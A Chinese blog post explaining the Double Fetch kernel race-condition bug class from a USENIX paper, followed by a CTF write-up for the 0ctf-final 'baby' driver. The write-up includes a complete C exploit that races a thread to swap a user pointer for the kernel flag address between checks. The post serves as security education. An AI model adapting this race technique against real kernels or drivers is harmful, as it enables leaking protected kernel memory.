条件竞争漏洞Double Fetch

news2024/11/15 18:00:04

前言

Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Double Fetch

Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。

图片

论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。

图片

作者根据Double Fetch发生的场景,并将其进行分类

  • • 类型选择

  • • 长度检查

  • • 浅拷贝

类型选择

类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch

图片

长度选择

长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_userarg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。

图片

浅拷贝

浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。

图片

举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。

图片

总结一下Double Fetch的利用流程

  • • 内核会从用户空间中获取数据,并且会两次获取相同空间的数据

  • • 在两次获取的过程中没有检测获取的数据是否一致

  • • 最后在两次获取的过程中,篡改该空间的数据

20180ctf-final-baby

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。

图片

image-20230713151512178

接着看校验函数,该函数很简单,接受三个参数,a1a2a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过&current_task中获取的。

图片

image-20230713151905552

可以发现从&current_task中获取的地址为0x7ffffffff000

图片

image-20230713153756972

下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。

图片

image-20230713154124891

这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。

图片

image-20230713154417553

那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测

  • • 检查传入的地址是否为用户空间的地址

  • • 检查传入的地址的内容的值是否为用户空间的地址

  • • 检查传入的长度是否与flag的长度一致

总的来说从用户空间中我们传入了一个结构体

typedef struct
{
    char *flag_addr;
    unsigned long flag_len;
};

图片

image-20230713154600216

可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch

利用的思路如下

  • • 在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf

  • • 而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag

那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可

...
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

具体流程如下图,这里用线程的原因

  • • 主线程与子线程异步执行

  • • 线程之间共享内存信息

因此可以利用其他线程去修改共享的内存

图片

未命名文件 (1)

完整exp

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define MAXSIZE 1024
#define MAXTIME 1000000

unsigned long target_addr;
int finish;
typedef struct 
{
    char* flag_addr;
    unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;

void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}


int main()
{
    fd = open("/dev/baby", O_RDWR);
    __asm(
        ".intel_syntax noprefix;"
        "mov rax, 0x10;"
        "mov rdi, fd;"
        "mov rsi, 0x6666;"
        "syscall;"
        ".att_syntax;"
    ); 
    
    char buf[MAXSIZE];
    char *target;
    int count;
    int flag = open("/dev/kmsg", O_RDONLY);
    if (flag == -1)
        printf("open dmesg error");
    while ((count = read(flag, buf, MAXSIZE)) > 0)
    {
        if ((target = strstr(buf, "Your flag is at ")) > 0)
        {
            target = target + strlen("Your flag is at ");
            char *temp = strstr(target, "!");
            target[temp - target] = 0;
            target_addr = strtoul(target, NULL, 16);
            printf("flag address:0x%s\n",target);
            printf("flag address:0x%lx\n", target_addr);
            break;
        }
    } 
    data_flag.flag_addr = buf;
    data_flag.flag_len = 33;
    pthread_t ntid;
    int err;
    err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag); 
    for (int i = 0; i < MAXTIME; i++)
    {
        ioctl(fd, 0x1337, &data_flag);
        data_flag.flag_addr = buf;
        //printf("%d\n",i);
    }
    finish = 1;
    pthread_join(ntid, NULL);
    printf("end!");
    //system("dmesg | grep flag");
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/854264.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开发一个RISC-V上的操作系统(六)—— 中断(interrupt)和异常(exception)

目录 往期文章传送门 一、控制流 &#xff08;Control Flow&#xff09;和 Trap 二、Exceptions, Traps, and Interrupts Contained Trap Requested Trap Invisible Trap Fatal Trap 异常和中断的异同 三、RISC-V的异常处理 mtvec&#xff08;Machine Trap-Vector Ba…

【福利】免费白嫖Notability订阅版,无需越狱,支持无限笔记!

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] 视频教程&#xff1a;【福利】免费白嫖Notability订阅版&#xff0c;无需越狱&#xff0c;支持无限笔记&#xff01;_哔哩哔哩_bilibili 下载爱思助手 连接iPad 搜索并安装12.1.8版本的notability iPad上打开软件…

redis初级redis入门redis数据类型redis常用命令redis持久化机制

Redis 课程内容 Redis入门Redis数据类型Redis常用命令在Java中操作RedisRedis持久化机制 1. Redis入门 1.1 Redis简介 Redis是一个基于内存的key-value结构数据库。Redis 是互联网技术领域使用最为广泛的存储中间件。 **官网&#xff1a;**https://redis.io **中文网&…

SpringBoot多环境切换及JSR303数据校验

多环境切换 profile是Spring对不同环境提供不同配置功能的支持&#xff0c;可以通过激活不同的环境版本&#xff0c;实现快速切换环境&#xff1b; 多配置文件 我们在主配置文件编写的时候&#xff0c;文件名可以是 application-{profile}.properties/yml , 用来指定多个环境版…

高速公路巡检新手段——道路智能巡检系统

高速公路作为我国公路建设的一项重要成果&#xff0c;其建设和运营对于促进我国经济发展、改善交通运输条件和提高人民生活水平具有重要的意义。 高速公路巡检是确保公路安全的重要措施之一。每年数以万计的车辆在高速公路上穿行&#xff0c;因此高速公路的安全性显得尤为重要。…

【Hbuilder+夜神模拟器】连接过程中遇到的坑

1、安装 HBuilder X 官网戳这里 选择适合你的版本 双击直接运行 夜神模拟器官网戳这里 选择适合你的版本 双击直接运行 2、Hbuilder中配置 打开工具—设置—运行配置 adb路径可以点击右侧的浏览找到bin文件夹下的nox_adb.exe&#xff0c;Android模拟器端口默认是62001&…

释放OMO(线下线上融合)的力量:打造最强私域运营

在零售领域&#xff0c;新技术的出现促进了创新业务战略的发展&#xff0c;其中一种策略是OMO&#xff0c;即线下合并线上&#xff0c;它结合了线上和线下零售的优势&#xff0c;为客户提供无缝的购物体验。由于企业即时消息在在线客户沟通中发挥着重要作用&#xff0c;OMO 随着…

如何在Spring MVC中使用@ControllerAdvice创建全局异常处理器

文章目录 前言一、认识注解&#xff1a;RestControllerAdvice和ExceptionHandler二、使用步骤1、封装统一返回结果类2、自定义异常类封装3、定义全局异常处理类4、测试 总结 前言 全局异常处理器是一种 &#x1f31f;✨机制&#xff0c;用于处理应用程序中发生的异常&#xff…

使用mybatis-plus的updateById方法更新一个numeric(1)类型字段,sql成功执行,但是updates为0,更新失败的解决办法

使用mybatis-plus的updateById方法更新一个numeric(1)类型字段&#xff0c;sql成功执行&#xff0c;但是updates为0&#xff0c;更新失败的解决办法&#xff1a; 背景&#xff1a;我有一张表&#xff0c;有个启用禁用功能&#xff0c;没有放在编辑页面一起编辑保存&#xff0c;…

使用sysbench对mysql数据库进行基准测试

目录 一、 安装sysbench 二、准备测试表及数据 三、开始测试 1、测试综合TPS 2、只读性能 oltp_read_only 3、删除性能 oltp_delete 4、更新索引字段性能 oltp_update_index 5、更新非索引字段性能 oltp_update_non_index 6、插入性能 oltp_insert 7、写入性能 ol…

SpringBoot Web开发静态资源处理

Web开发探究 简介 其实SpringBoot的东西用起来非常简单&#xff0c;因为SpringBoot最大的特点就是自动装配 使用SpringBoot的步骤&#xff1a; 1、创建一个SpringBoot应用&#xff0c;选择我们需要的模块&#xff0c;SpringBoot就会默认将我们的需要的模块自动配置好 2、手动…

湘大oj1138爱你一生一世题解:最大公约数 逆向思维 int整除会向下取整

一、链接 爱你一生一世 二、题目 题目描述 在2013年1月4日&#xff0c;这个“爱你一生一世”的特别日子&#xff0c;男生都想向自己的喜欢的女生表达爱意。 你准备在该死的C语言考试后&#xff0c;去向她&#xff08;或者他&#xff1f;&#xff09;告白。告白怎么能缺了礼…

八大排序

目录 选择排序-直接插入排序 插入排序-希尔排序 选择排序-简单选择排序 选择排序-堆排序 交换排序-冒泡排序 交换排序-快速排序 归并排序 基数排序 选择排序-直接插入排序 基本思想: 如果碰见一个和插入元素相等的&#xff0c;那么插入元素把想插入的元素放在相等元素…

如何高效地阅读 Python 代码?

原文首发于&#xff1a;如何高效地阅读 Python 代码&#xff1f; | 今是昨非 | 技术.生活.阅读.思考 副标题&#xff1a;一个重要但很少被讨论的技能 从网上看到这篇英文文章&#xff0c;感觉还不错&#xff0c;翻译了一下。Claude2 也有参与翻译&#x1f61d; AI摘要 这篇文…

Linux基础与拓展

文章目录 虚拟机网络连接方式VIMvi和vim常用的三种模式各种模式的相互切换快捷键 用户管理权限 基本介绍&#xff1a;添加用户指定/修改密码删除用户切换用户用户组 路径命令学习mkdir命令介绍语法注意 touch 创建文件介绍语法 cat 查看文件内容介绍语法 more 查看文件内容介绍…

vue3报错

这是因为eslint对代码的要求严格导致的&#xff0c;可以在package.json里面删掉"eslint:recommended"&#xff0c;然后重启就可以正常运行了

软件编程专业:探索计算机世界的奥秘

软件编程专业&#xff1a;探索计算机世界的奥秘 随着科技的飞速发展&#xff0c;计算机已经渗透到我们生活的方方面面。我们每天都在使用各种应用程序&#xff0c;比如社交媒体、游戏和电子邮件等&#xff0c;而这些应用程序背后的魔法都是由软件编程专业的人创造的。那么&…

Android 面试重点之Framework (Handler篇)

近期在网上看到不少Android 开发分享的面试经验&#xff0c;我发现基本每个面经中多多少少都有Framework 底层原理的影子。它也是Android 开发中最重要的一个部分&#xff0c;面试官一般会通过 Framework底层中的一些逻辑原理由浅入深进行提问&#xff0c;来评估应聘者的真实水…

idea - 刷新 Git 分支数据 / 命令刷新 Git 分支数据

一、idea - 刷新 Git 分支数据 idea 找到 fetch 选项&#xff0c;重新获取分支数据 二、命令刷新 Git 分支数据 git fetch参考链接 1. 远程Gitlab新建的分支在IDEA里不显示

Python-OpenCV中的图像处理-边缘检测

Python-OpenCV中的图像处理-边缘检测 边缘检测Canny算子 边缘检测Canny算子 Canny 边缘检测是一种非常流行的边缘检测算法&#xff0c;是 John F.Canny 在 1986 年提出的。它是一个有很多步构成的算法&#xff1a;噪声去除、计算图像梯度、非极大值抑制、滞后阀值等。 Canny(i…